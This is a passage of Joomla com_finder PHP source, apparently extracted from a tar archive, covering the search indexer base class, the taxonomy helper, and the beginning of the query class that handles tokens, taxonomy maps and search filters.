 * Note: All exceptions thrown from within this class should be caught
 * by the controller.
 *
 * @since  2.5
 */
abstract class FinderIndexer
{
	/**
	 * The title context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const TITLE_CONTEXT = 1;

	/**
	 * The text context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const TEXT_CONTEXT = 2;

	/**
	 * The meta context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const META_CONTEXT = 3;

	/**
	 * The path context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const PATH_CONTEXT = 4;

	/**
	 * The misc context identifier.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	const MISC_CONTEXT = 5;

	/**
	 * The indexer state object.
	 *
	 * @var    JObject
	 * @since  2.5
	 */
	public static $state;

	/**
	 * The indexer profiler object.
	 *
	 * @var    JProfiler
	 * @since  2.5
	 */
	public static $profiler;

	/**
	 * Database driver cache.
	 *
	 * @var    JDatabaseDriver
	 * @since  3.8.0
	 */
	protected $db;

	/**
	 * Reusable Query Template. To be used with clone.
	 *
	 * @var    JDatabaseQuery
	 * @since  3.8.0
	 */
	protected $addTokensToDbQueryTemplate;

	/**
	 * FinderIndexer constructor.
	 *
	 * @since  3.8.0
	 */
	public function __construct()
	{
		$this->db = JFactory::getDbo();

		$db = $this->db;

		/**
		 * Set up query template for addTokensToDb, we will be cloning this template when needed.
		 * This is about twice as fast as calling the clear function or setting up a new object.
		 */
		$this->addTokensToDbQueryTemplate = $db->getQuery(true)->insert($db->quoteName('#__finder_tokens'))
			->columns(
				array(
					$db->quoteName('term'),
					$db->quoteName('stem'),
					$db->quoteName('common'),
					$db->quoteName('phrase'),
					$db->quoteName('weight'),
					$db->quoteName('context'),
					$db->quoteName('language')
				)
			);
	}

	/**
	 * Returns a reference to the FinderIndexer object.
	 *
	 * @return  FinderIndexer instance based on the database driver
	 *
	 * @since   3.0
	 * @throws  RuntimeException if driver class for indexer not present.
	 */
	public static function getInstance()
	{
		// Setup the adapter for the indexer.
		$serverType = JFactory::getDbo()->getServerType();

		// For `mssql` server types, convert the type to `sqlsrv`
		if ($serverType === 'mssql')
		{
			$serverType = 'sqlsrv';
		}

		$path = __DIR__ . '/driver/' . $serverType . '.php';
		$class = 'FinderIndexerDriver' . ucfirst($serverType);

		// Check if a parser exists for the format.
		if (file_exists($path))
		{
			// Instantiate the parser.
			JLoader::register($class, $path);

			return new $class;
		}

		// Throw invalid format exception.
		throw new RuntimeException(JText::sprintf('COM_FINDER_INDEXER_INVALID_DRIVER', $serverType));
	}

	/**
	 * Method to get the indexer state.
	 *
	 * @return  object  The indexer state object.
	 *
	 * @since   2.5
	 */
	public static function getState()
	{
		// First, try to load from the internal state.
		if ((bool) static::$state)
		{
			return static::$state;
		}

		// If we couldn't load from the internal state, try the session.
		$session = JFactory::getSession();
		$data = $session->get('_finder.state', null);

		// If the state is empty, load the values for the first time.
		if (empty($data))
		{
			$data = new JObject;

			// Load the default configuration options.
			$data->options = JComponentHelper::getParams('com_finder');

			// Setup the weight lookup information.
			$data->weights = array(
				self::TITLE_CONTEXT => round($data->options->get('title_multiplier', 1.7), 2),
				self::TEXT_CONTEXT  => round($data->options->get('text_multiplier', 0.7), 2),
				self::META_CONTEXT  => round($data->options->get('meta_multiplier', 1.2), 2),
				self::PATH_CONTEXT  => round($data->options->get('path_multiplier', 2.0), 2),
				self::MISC_CONTEXT  => round($data->options->get('misc_multiplier', 0.3), 2)
			);

			// Set the current time as the start time.
			$data->startTime = JFactory::getDate()->toSql();

			// Set the remaining default values.
			$data->batchSize   = (int) $data->options->get('batch_size', 50);
			$data->batchOffset = 0;
			$data->totalItems  = 0;
			$data->pluginState = array();
		}

		// Setup the profiler if debugging is enabled.
		if (JFactory::getApplication()->get('debug'))
		{
			static::$profiler = JProfiler::getInstance('FinderIndexer');
		}

		// Setup the stemmer.
		if ($data->options->get('stem', 1) && $data->options->get('stemmer', 'porter_en'))
		{
			FinderIndexerHelper::$stemmer = FinderIndexerStemmer::getInstance($data->options->get('stemmer', 'porter_en'));
		}

		// Set the state.
		static::$state = $data;

		return static::$state;
	}

	/**
	 * Method to set the indexer state.
	 *
	 * @param   object  $data  A new indexer state object.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 */
	public static function setState($data)
	{
		// Check the state object.
		if (empty($data) || !$data instanceof JObject)
		{
			return false;
		}

		// Set the new internal state.
		static::$state = $data;

		// Set the new session state.
		JFactory::getSession()->set('_finder.state', $data);

		return true;
	}

	/**
	 * Method to reset the indexer state.
	 *
	 * @return  void
	 *
	 * @since   2.5
	 */
	public static function resetState()
	{
		// Reset the internal state to null.
		self::$state = null;

		// Reset the session state to null.
		JFactory::getSession()->set('_finder.state', null);
	}

	/**
	 * Method to index a content item.
	 *
	 * @param   FinderIndexerResult  $item    The content item to index.
	 * @param   string               $format  The format of the content. [optional]
	 *
	 * @return  integer  The ID of the record in the links table.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	abstract public function index($item, $format = 'html');

	/**
	 * Method to remove a link from the index.
	 *
	 * @param   integer  $linkId  The id of the link.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function remove($linkId)
	{
		$db    = $this->db;
		$query = $db->getQuery(true);

		// Update the link counts and remove the mapping records.
		for ($i = 0; $i <= 15; $i++)
		{
			// Update the link counts for the terms.
			$query->clear()
				->update($db->quoteName('#__finder_terms', 't'))
				->join('INNER', $db->quoteName('#__finder_links_terms' . dechex($i), 'm') .
					' ON ' . $db->quoteName('m.term_id') . ' = ' . $db->quoteName('t.term_id')
				)
				->set($db->quoteName('links') . ' = ' . $db->quoteName('links') . ' - 1')
				->where($db->quoteName('m.link_id') . ' = ' . (int) $linkId);
			$db->setQuery($query)->execute();

			// Remove all records from the mapping tables.
			$query->clear()
				->delete($db->quoteName('#__finder_links_terms' . dechex($i)))
				->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
			$db->setQuery($query)->execute();
		}

		// Delete all orphaned terms.
		$query->clear()
			->delete($db->quoteName('#__finder_terms'))
			->where($db->quoteName('links') . ' <= 0');
		$db->setQuery($query)->execute();

		// Delete the link from the index.
		$query->clear()
			->delete($db->quoteName('#__finder_links'))
			->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
		$db->setQuery($query)->execute();

		// Remove the taxonomy maps.
		FinderIndexerTaxonomy::removeMaps($linkId);

		// Remove the orphaned taxonomy nodes.
		FinderIndexerTaxonomy::removeOrphanNodes();

		return true;
	}

	/**
	 * Method to optimize the index. We use this method to remove unused terms
	 * and any other optimizations that might be necessary.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	abstract public function optimize();

	/**
	 * Method to get a content item's signature.
	 *
	 * @param   object  $item  The content item to index.
	 *
	 * @return  string  The content item's signature.
	 *
	 * @since   2.5
	 */
	protected static function getSignature($item)
	{
		// Get the indexer state.
		$state = static::getState();

		// Get the relevant configuration variables.
		$config = array(
			$state->weights,
			$state->options->get('stem', 1),
			$state->options->get('stemmer', 'porter_en')
		);

		return md5(serialize(array($item, $config)));
	}

	/**
	 * Method to parse input, tokenize it, and then add it to the database.
	 *
	 * @param   mixed    $input    String or resource to use as input. A resource input will automatically be chunked to conserve
	 *                             memory. Strings will be chunked if longer than 2K in size.
	 * @param   integer  $context  The context of the input. See context constants.
	 * @param   string   $lang     The language of the input.
	 * @param   string   $format   The format of the input.
	 *
	 * @return  integer  The number of tokens extracted from the input.
	 *
	 * @since   2.5
	 */
	protected function tokenizeToDb($input, $context, $lang, $format)
	{
		$count = 0;
		$buffer = null;

		if (empty($input))
		{
			return $count;
		}

		// If the input is a resource, batch the process out.
		if (is_resource($input))
		{
			// Batch the process out to avoid memory limits.
			while (!feof($input))
			{
				// Read into the buffer.
				$buffer .= fread($input, 2048);

				/*
				 * If we haven't reached the end of the file, seek to the last
				 * space character and drop whatever is after that to make sure
				 * we didn't truncate a term while reading the input.
				 */
				if (!feof($input))
				{
					// Find the last space character.
					$ls = strrpos($buffer, ' ');

					// Adjust string based on the last space character.
					if ($ls)
					{
						// Truncate the string to the last space character.
						$string = substr($buffer, 0, $ls);

						// Adjust the buffer based on the last space for the next iteration and trim.
						$buffer = StringHelper::trim(substr($buffer, $ls));
					}
					// No space character was found.
					else
					{
						$string = $buffer;
					}
				}
				// We've reached the end of the file, so parse whatever remains.
				else
				{
					$string = $buffer;
				}

				// Parse, tokenise and add tokens to the database.
				$count = $this->tokenizeToDbShort($string, $context, $lang, $format, $count);

				unset($string, $tokens);
			}

			return $count;
		}

		// Parse, tokenise and add tokens to the database.
		$count = $this->tokenizeToDbShort($input, $context, $lang, $format, $count);

		return $count;
	}

	/**
	 * Method to parse input, tokenise it, then add the tokens to the database.
	 *
	 * @param   string   $input    String to parse, tokenise and add to database.
	 * @param   integer  $context  The context of the input. See context constants.
	 * @param   string   $lang     The language of the input.
	 * @param   string   $format   The format of the input.
	 * @param   integer  $count    The number of tokens processed so far.
	 *
	 * @return  integer  Cumulative number of tokens extracted from the input so far.
	 *
	 * @since   3.7.0
	 */
	private function tokenizeToDbShort($input, $context, $lang, $format, $count)
	{
		// Parse the input.
		$input = FinderIndexerHelper::parse($input, $format);

		// Check the input.
		if (empty($input))
		{
			return $count;
		}

		// Tokenize the input.
		$tokens = FinderIndexerHelper::tokenize($input, $lang);

		// Add the tokens to the database.
		$count += $this->addTokensToDb($tokens, $context);

		// Check if we're approaching the memory limit of the token table.
		if ($count > static::$state->options->get('memory_table_limit', 30000))
		{
			$this->toggleTables(false);
		}

		return $count;
	}

	/**
	 * Method to add a set of tokens to the database.
	 *
	 * @param   mixed  $tokens   An array or single FinderIndexerToken object.
	 * @param   mixed  $context  The context of the tokens. See context constants. [optional]
	 *
	 * @return  integer  The number of tokens inserted into the database.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function addTokensToDb($tokens, $context = '')
	{
		// Get the database object.
		$db = $this->db;

		$query = clone $this->addTokensToDbQueryTemplate;

		// Check if a single FinderIndexerToken object was given and make it to be an array of FinderIndexerToken objects
		$tokens = is_array($tokens) ? $tokens : array($tokens);

		// Count the number of token values.
		$values = 0;

		// Break into chunks of no more than 1000 items
		$chunks = array_chunk($tokens, 128);

		foreach ($chunks as $tokens)
		{
			$query->clear('values');

			// Iterate through the tokens to create SQL value sets.
			foreach ($tokens as $token)
			{
				$query->values(
					$db->quote($token->term) . ', '
					. $db->quote($token->stem) . ', '
					. (int) $token->common . ', '
					. (int) $token->phrase . ', '
					. $db->escape((float) $token->weight) . ', '
					. (int) $context . ', '
					. $db->quote($token->language)
				);
				++$values;
			}

			$db->setQuery($query)->execute();

			// Check if we're approaching the memory limit of the token table.
			if ($values > static::$state->options->get('memory_table_limit', 10000))
			{
				$this->toggleTables(false);
			}
		}

		return $values;
	}

	/**
	 * Method to switch the token tables from Memory tables to Disk tables
	 * when they are close to running out of memory.
	 * Since this is not supported/implemented in all DB-drivers, the default is a stub method, which simply returns true.
	 *
	 * @param   boolean  $memory  Flag to control how they should be toggled.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function toggleTables($memory)
	{
		return true;
	}
}
com_finder/helpers/indexer/taxonomy.php000060400000023457152455305310014352 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * Stemmer base class for the Finder indexer package.
 *
 * @since  2.5
 */
class FinderIndexerTaxonomy
{
	/**
	 * An internal cache of taxonomy branch data.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public static $branches = array();

	/**
	 * An internal cache of taxonomy node data.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public static $nodes = array();

	/**
	 * Method to add a branch to the taxonomy tree.
	 *
	 * @param   string   $title   The title of the branch.
	 * @param   integer  $state   The published state of the branch. [optional]
	 * @param   integer  $access  The access state of the branch. [optional]
	 *
	 * @return  integer  The id of the branch.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function addBranch($title, $state = 1, $access = 1)
	{
		// Check to see if the branch is in the cache.
		if (isset(static::$branches[$title]))
		{
			return static::$branches[$title]->id;
		}

		// Check to see if the branch is in the table.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('parent_id') . ' = 1')
			->where($db->quoteName('title') . ' = ' . $db->quote($title));
		$db->setQuery($query);

		// Get the result.
		$result = $db->loadObject();

		// Check if the database matches the input data.
		if ((bool) $result && $result->state == $state && $result->access == $access)
		{
			// The data matches, add the item to the cache.
			static::$branches[$title] = $result;

			return static::$branches[$title]->id;
		}

		/*
		 * The database did not match the input. This could be because the
		 * state has changed or because the branch does not exist. Let's figure
		 * out which case is true and deal with it.
		 */
		$branch = new JObject;

		if (empty($result))
		{
			// Prepare the branch object.
			$branch->parent_id = 1;
			$branch->title = $title;
			$branch->state = (int) $state;
			$branch->access = (int) $access;
		}
		else
		{
			// Prepare the branch object.
			$branch->id = (int) $result->id;
			$branch->parent_id = (int) $result->parent_id;
			$branch->title = $result->title;
			$branch->state = (int) $result->title;
			$branch->access = (int) $result->access;
			$branch->ordering = (int) $result->ordering;
		}

		// Store the branch.
		static::storeNode($branch);

		// Add the branch to the cache.
		static::$branches[$title] = $branch;

		return static::$branches[$title]->id;
	}

	/**
	 * Method to add a node to the taxonomy tree.
	 *
	 * @param   string   $branch  The title of the branch to store the node in.
	 * @param   string   $title   The title of the node.
	 * @param   integer  $state   The published state of the node. [optional]
	 * @param   integer  $access  The access state of the node. [optional]
	 *
	 * @return  integer  The id of the node.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function addNode($branch, $title, $state = 1, $access = 1)
	{
		// Check to see if the node is in the cache.
		if (isset(static::$nodes[$branch][$title]))
		{
			return static::$nodes[$branch][$title]->id;
		}

		// Get the branch id, insert it if it does not exist.
		$branchId = static::addBranch($branch);

		// Check to see if the node is in the table.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->select('*')
			->from($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('parent_id') . ' = ' . $db->quote($branchId))
			->where($db->quoteName('title') . ' = ' . $db->quote($title));
		$db->setQuery($query);

		// Get the result.
		$result = $db->loadObject();

		// Check if the database matches the input data.
		if ((bool) $result && $result->state == $state && $result->access == $access)
		{
			// The data matches, add the item to the cache.
			static::$nodes[$branch][$title] = $result;

			return static::$nodes[$branch][$title]->id;
		}

		/*
		 * The database did not match the input. This could be because the
		 * state has changed or because the node does not exist. Let's figure
		 * out which case is true and deal with it.
		 */
		$node = new JObject;

		if (empty($result))
		{
			// Prepare the node object.
			$node->parent_id = (int) $branchId;
			$node->title = $title;
			$node->state = (int) $state;
			$node->access = (int) $access;
		}
		else
		{
			// Prepare the node object.
			$node->id = (int) $result->id;
			$node->parent_id = (int) $result->parent_id;
			$node->title = $result->title;
			$node->state = (int) $result->title;
			$node->access = (int) $result->access;
			$node->ordering = (int) $result->ordering;
		}

		// Store the node.
		static::storeNode($node);

		// Add the node to the cache.
		static::$nodes[$branch][$title] = $node;

		return static::$nodes[$branch][$title]->id;
	}

	/**
	 * Method to add a map entry between a link and a taxonomy node.
	 *
	 * @param   integer  $linkId  The link to map to.
	 * @param   integer  $nodeId  The node to map to.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function addMap($linkId, $nodeId)
	{
		// Insert the map.
		$db = JFactory::getDbo();

		$query = $db->getQuery(true)
			->select($db->quoteName('link_id'))
			->from($db->quoteName('#__finder_taxonomy_map'))
			->where($db->quoteName('link_id') . ' = ' . (int) $linkId)
			->where($db->quoteName('node_id') . ' = ' . (int) $nodeId);
		$db->setQuery($query);
		$db->execute();
		$id = (int) $db->loadResult();

		$map = new JObject;
		$map->link_id = (int) $linkId;
		$map->node_id = (int) $nodeId;

		if ($id)
		{
			$db->updateObject('#__finder_taxonomy_map', $map, array('link_id', 'node_id'));
		}
		else
		{
			$db->insertObject('#__finder_taxonomy_map', $map);
		}

		return true;
	}

	/**
	 * Method to get the title of all taxonomy branches.
	 *
	 * @return  array  An array of branch titles.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function getBranchTitles()
	{
		$db = JFactory::getDbo();

		// Set user variables
		$groups = implode(',', JFactory::getUser()->getAuthorisedViewLevels());

		// Create a query to get the taxonomy branch titles.
		$query = $db->getQuery(true)
			->select($db->quoteName('title'))
			->from($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('parent_id') . ' = 1')
			->where($db->quoteName('state') . ' = 1')
			->where($db->quoteName('access') . ' IN (' . $groups . ')');

		// Get the branch titles.
		$db->setQuery($query);

		return $db->loadColumn();
	}

	/**
	 * Method to find a taxonomy node in a branch.
	 *
	 * @param   string  $branch  The branch to search.
	 * @param   string  $title   The title of the node.
	 *
	 * @return  mixed  Integer id on success, null on no match.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function getNodeByTitle($branch, $title)
	{
		$db = JFactory::getDbo();

		// Set user variables
		$groups = implode(',', JFactory::getUser()->getAuthorisedViewLevels());

		// Create a query to get the node.
		$query = $db->getQuery(true)
			->select('t1.*')
			->from($db->quoteName('#__finder_taxonomy') . ' AS t1')
			->join('INNER', $db->quoteName('#__finder_taxonomy') . ' AS t2 ON t2.id = t1.parent_id')
			->where('t1.access IN (' . $groups . ')')
			->where('t1.state = 1')
			->where('t1.title LIKE ' . $db->quote($db->escape($title) . '%'))
			->where('t2.access IN (' . $groups . ')')
			->where('t2.state = 1')
			->where('t2.title = ' . $db->quote($branch));

		// Get the node.
		$db->setQuery($query, 0, 1);

		return $db->loadObject();
	}

	/**
	 * Method to remove map entries for a link.
	 *
	 * @param   integer  $linkId  The link to remove.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function removeMaps($linkId)
	{
		// Delete the maps.
		$db = JFactory::getDbo();
		$query = $db->getQuery(true)
			->delete($db->quoteName('#__finder_taxonomy_map'))
			->where($db->quoteName('link_id') . ' = ' . (int) $linkId);
		$db->setQuery($query);
		$db->execute();

		return true;
	}

	/**
	 * Method to remove orphaned taxonomy nodes and branches.
	 *
	 * @return  integer  The number of deleted rows.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public static function removeOrphanNodes()
	{
		// Delete all orphaned nodes.
		$db = JFactory::getDbo();

		$query = $db->getQuery(true)
			->select($db->quoteName('t.id'))
			->from($db->quoteName('#__finder_taxonomy', 't'))
			->join('LEFT', $db->quoteName('#__finder_taxonomy_map', 'm') . ' ON ' . $db->quoteName('m.node_id') . '=' . $db->quoteName('t.id'))
			->where($db->quoteName('t.parent_id') . ' > 1 ')
			->where($db->quoteName('m.link_id') . ' IS NULL');

		$db->setQuery($query);
		
		$ids = $db->loadColumn();

		if (empty($ids))
		{
			return 0;
		}

		$query->clear()
			->delete($db->quoteName('#__finder_taxonomy'))
			->where($db->quoteName('id') . ' IN (' . implode(',', $ids) . ')');

		$db->setQuery($query);
		
		$db->execute();

		return $db->getAffectedRows();
	}

	/**
	 * Method to store a node to the database.  This method will accept either a branch or a node.
	 *
	 * @param   object  $item  The item to store.
	 *
	 * @return  boolean  True on success.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected static function storeNode($item)
	{
		$db = JFactory::getDbo();

		// Check if we are updating or inserting the item.
		if (empty($item->id))
		{
			// Insert the item.
			$db->insertObject('#__finder_taxonomy', $item, 'id');
		}
		else
		{
			// Update the item.
			$db->updateObject('#__finder_taxonomy', $item, 'id');
		}

		return true;
	}
}
com_finder/helpers/indexer/query.php000060400000105675152455305310013644 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_finder
 *
 * @copyright   (C) 2011 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;
use Joomla\String\StringHelper;
use Joomla\Utilities\ArrayHelper;

JLoader::register('FinderIndexerHelper', __DIR__ . '/helper.php');
JLoader::register('FinderIndexerTaxonomy', __DIR__ . '/taxonomy.php');
JLoader::register('FinderHelperRoute', JPATH_SITE . '/components/com_finder/helpers/route.php');
JLoader::register('FinderHelperLanguage', JPATH_ADMINISTRATOR . '/components/com_finder/helpers/language.php');

/**
 * Query class for the Finder indexer package.
 *
 * @since  2.5
 */
class FinderIndexerQuery
{
	/**
	 * Flag to show whether the query can return results.
	 *
	 * @var    boolean
	 * @since  2.5
	 */
	public $search;

	/**
	 * The query input string.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $input;

	/**
	 * The language of the query.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $language;

	/**
	 * The query string matching mode.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $mode;

	/**
	 * The included tokens.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $included = array();

	/**
	 * The excluded tokens.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $excluded = array();

	/**
	 * The tokens to ignore because no matches exist.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $ignored = array();

	/**
	 * The operators used in the query input string.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $operators = array();

	/**
	 * The terms to highlight as matches.
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $highlight = array();

	/**
	 * The number of matching terms for the query input.
	 *
	 * @var    integer
	 * @since  2.5
	 */
	public $terms;

	/**
	 * The static filter id.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $filter;

	/**
	 * The taxonomy filters. This is a multi-dimensional array of taxonomy
	 * branches as the first level and then the taxonomy nodes as the values.
	 *
	 * For example:
	 * $filters = array(
	 *     'Type' = array(10, 32, 29, 11, ...);
	 *     'Label' = array(20, 314, 349, 91, 82, ...);
	 *        ...
	 * );
	 *
	 * @var    array
	 * @since  2.5
	 */
	public $filters = array();

	/**
	 * The start date filter.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $date1;

	/**
	 * The end date filter.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $date2;

	/**
	 * The start date filter modifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $when1;

	/**
	 * The end date filter modifier.
	 *
	 * @var    string
	 * @since  2.5
	 */
	public $when2;

	/**
	 * Method to instantiate the query object.
	 *
	 * @param   array  $options  An array of query options.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	public function __construct($options)
	{
		// Get the input string.
		$this->input = isset($options['input']) ? $options['input'] : '';

		// Get the empty query setting.
		$this->empty = isset($options['empty']) ? (bool) $options['empty'] : false;

		// Get the input language.
		$this->language = !empty($options['language']) ? $options['language'] : FinderIndexerHelper::getDefaultLanguage();
		$this->language = FinderIndexerHelper::getPrimaryLanguage($this->language);

		// Get the matching mode.
		$this->mode = 'AND';

		// Initialize the temporary date storage.
		$this->dates = new Registry;

		// Populate the temporary date storage.
		if (!empty($options['date1']))
		{
			$this->dates->set('date1', $options['date1']);
		}

		if (!empty($options['date2']))
		{
			$this->dates->set('date2', $options['date2']);
		}

		if (!empty($options['when1']))
		{
			$this->dates->set('when1', $options['when1']);
		}

		if (!empty($options['when2']))
		{
			$this->dates->set('when2', $options['when2']);
		}

		// Process the static taxonomy filters.
		if (!empty($options['filter']))
		{
			$this->processStaticTaxonomy($options['filter']);
		}

		// Process the dynamic taxonomy filters.
		if (!empty($options['filters']))
		{
			$this->processDynamicTaxonomy($options['filters']);
		}

		// Get the date filters.
		$d1 = $this->dates->get('date1');
		$d2 = $this->dates->get('date2');
		$w1 = $this->dates->get('when1');
		$w2 = $this->dates->get('when2');

		// Process the date filters.
		if (!empty($d1) || !empty($d2))
		{
			$this->processDates($d1, $d2, $w1, $w2);
		}

		// Process the input string.
		$this->processString($this->input, $this->language, $this->mode);

		// Get the number of matching terms.
		foreach ($this->included as $token)
		{
			$this->terms += count($token->matches);
		}

		// Remove the temporary date storage.
		unset($this->dates);

		// Lastly, determine whether this query can return a result set.

		// Check if we have a query string.
		if (!empty($this->input))
		{
			$this->search = true;
		}
		// Check if we can search without a query string.
		elseif ($this->empty && (!empty($this->filter) || !empty($this->filters) || !empty($this->date1) || !empty($this->date2)))
		{
			$this->search = true;
		}
		// We do not have a valid search query.
		else
		{
			$this->search = false;
		}
	}

	/**
	 * Method to convert the query object into a URI string.
	 *
	 * @param   string  $base  The base URI. [optional]
	 *
	 * @return  string  The complete query URI.
	 *
	 * @since   2.5
	 */
	public function toUri($base = '')
	{
		// Set the base if not specified.
		if ($base === '')
		{
			$base = 'index.php?option=com_finder&view=search';
		}

		// Get the base URI.
		$uri = JUri::getInstance($base);

		// Add the static taxonomy filter if present.
		if ((bool) $this->filter)
		{
			$uri->setVar('f', $this->filter);
		}

		// Get the filters in the request.
		$t = JFactory::getApplication()->input->request->get('t', array(), 'array');

		// Add the dynamic taxonomy filters if present.
		if ((bool) $this->filters)
		{
			foreach ($this->filters as $nodes)
			{
				foreach ($nodes as $node)
				{
					if (!in_array($node, $t))
					{
						continue;
					}

					$uri->setVar('t[]', $node);
				}
			}
		}

		// Add the input string if present.
		if (!empty($this->input))
		{
			$uri->setVar('q', $this->input);
		}

		// Add the start date if present.
		if (!empty($this->date1))
		{
			$uri->setVar('d1', $this->date1);
		}

		// Add the end date if present.
		if (!empty($this->date2))
		{
			$uri->setVar('d2', $this->date2);
		}

		// Add the start date modifier if present.
		if (!empty($this->when1))
		{
			$uri->setVar('w1', $this->when1);
		}

		// Add the end date modifier if present.
		if (!empty($this->when2))
		{
			$uri->setVar('w2', $this->when2);
		}

		// Add a menu item id if one is not present.
		if (!$uri->getVar('Itemid'))
		{
			// Get the menu item id.
			$query = array(
				'view' => $uri->getVar('view'),
				'f'    => $uri->getVar('f'),
				'q'    => $uri->getVar('q'),
			);

			$item = FinderHelperRoute::getItemid($query);

			// Add the menu item id if present.
			if ($item !== null)
			{
				$uri->setVar('Itemid', $item);
			}
		}

		return $uri->toString(array('path', 'query'));
	}

	/**
	 * Method to get a list of excluded search term ids.
	 *
	 * @return  array  An array of excluded term ids.
	 *
	 * @since   2.5
	 */
	public function getExcludedTermIds()
	{
		$results = array();

		// Iterate through the excluded tokens and compile the matching terms.
		for ($i = 0, $c = count($this->excluded); $i < $c; $i++)
		{
			$results = array_merge($results, $this->excluded[$i]->matches);
		}

		// Sanitize the terms.
		$results = array_unique($results);

		return ArrayHelper::toInteger($results);
	}

	/**
	 * Method to get a list of included search term ids.
	 *
	 * @return  array  An array of included term ids.
	 *
	 * @since   2.5
	 */
	public function getIncludedTermIds()
	{
		$results = array();

		// Iterate through the included tokens and compile the matching terms.
		for ($i = 0, $c = count($this->included); $i < $c; $i++)
		{
			// Check if we have any terms.
			if (empty($this->included[$i]->matches))
			{
				continue;
			}

			// Get the term.
			$term = $this->included[$i]->term;

			// Prepare the container for the term if necessary.
			if (!array_key_exists($term, $results))
			{
				$results[$term] = array();
			}

			// Add the matches to the stack.
			$results[$term] = array_merge($results[$term], $this->included[$i]->matches);
		}

		// Sanitize the terms.
		foreach ($results as $key => $value)
		{
			$results[$key] = array_unique($results[$key]);
			$results[$key] = ArrayHelper::toInteger($results[$key]);
		}

		return $results;
	}

	/**
	 * Method to get a list of required search term ids.
	 *
	 * @return  array  An array of required term ids.
	 *
	 * @since   2.5
	 */
	public function getRequiredTermIds()
	{
		$results = array();

		// Iterate through the included tokens and compile the matching terms.
		for ($i = 0, $c = count($this->included); $i < $c; $i++)
		{
			// Check if the token is required.
			if ($this->included[$i]->required)
			{
				// Get the term.
				$term = $this->included[$i]->term;

				// Prepare the container for the term if necessary.
				if (!array_key_exists($term, $results))
				{
					$results[$term] = array();
				}

				// Add the matches to the stack.
				$results[$term] = array_merge($results[$term], $this->included[$i]->matches);
			}
		}

		// Sanitize the terms.
		foreach ($results as $key => $value)
		{
			$results[$key] = array_unique($results[$key]);
			$results[$key] = ArrayHelper::toInteger($results[$key]);
		}

		return $results;
	}

	/**
	 * Method to process the static taxonomy input. The static taxonomy input
	 * comes in the form of a pre-defined search filter that is assigned to the
	 * search form.
	 *
	 * @param   integer  $filterId  The id of static filter.
	 *
	 * @return  boolean  True on success, false on failure.
	 *
	 * @since   2.5
	 * @throws  Exception on database error.
	 */
	protected function processStaticTaxonomy($filterId)
	{
		// Get the database object.
		$db = JFactory::getDbo();

		// Initialize user variables
		$groups = implode(',', JFactory::getUser()->getAuthorisedViewLevels());

		// Load the predefined filter.
		$query = $db->getQuery(true)
			->select('f.data, f.params')
			->from($db->quoteName('#__finder_filters') . ' AS f')
			->where('f.filter_id = ' . (int) $filterId);

		$db->setQuery($query);
		$return = $db->loadObject();

		// Check the returned filter.
		if (empty($return))
		{
			return false;
		}

		// Set the filter.
		$this->filter = (int) $filterId;

		// Get a parameter object for the filter date options.
		$registry = new Registry($return->params);
		$params = $registry;

		// Set the dates if not already set.
		$this->dates->def('d1', $params->get('d1'));
		$this->dates->def('d2', $params->get('d2'));
		$this->dates->def('w1', $params->get('w1'));
		$this->dates->def('w2', $params->get('w2'));

		// Remove duplicates and sanitize.
		$filters = explode(',', $return->data);
		$filters = array_unique($filters);
		$filters = ArrayHelper::toInteger($filters);

		// Remove any values of zero.
		if (in_array(0, $filters, true) !== false)
		{
			unset($filters[array_search(0, $filters, true)]);
		}

		// Check if we have any real input.
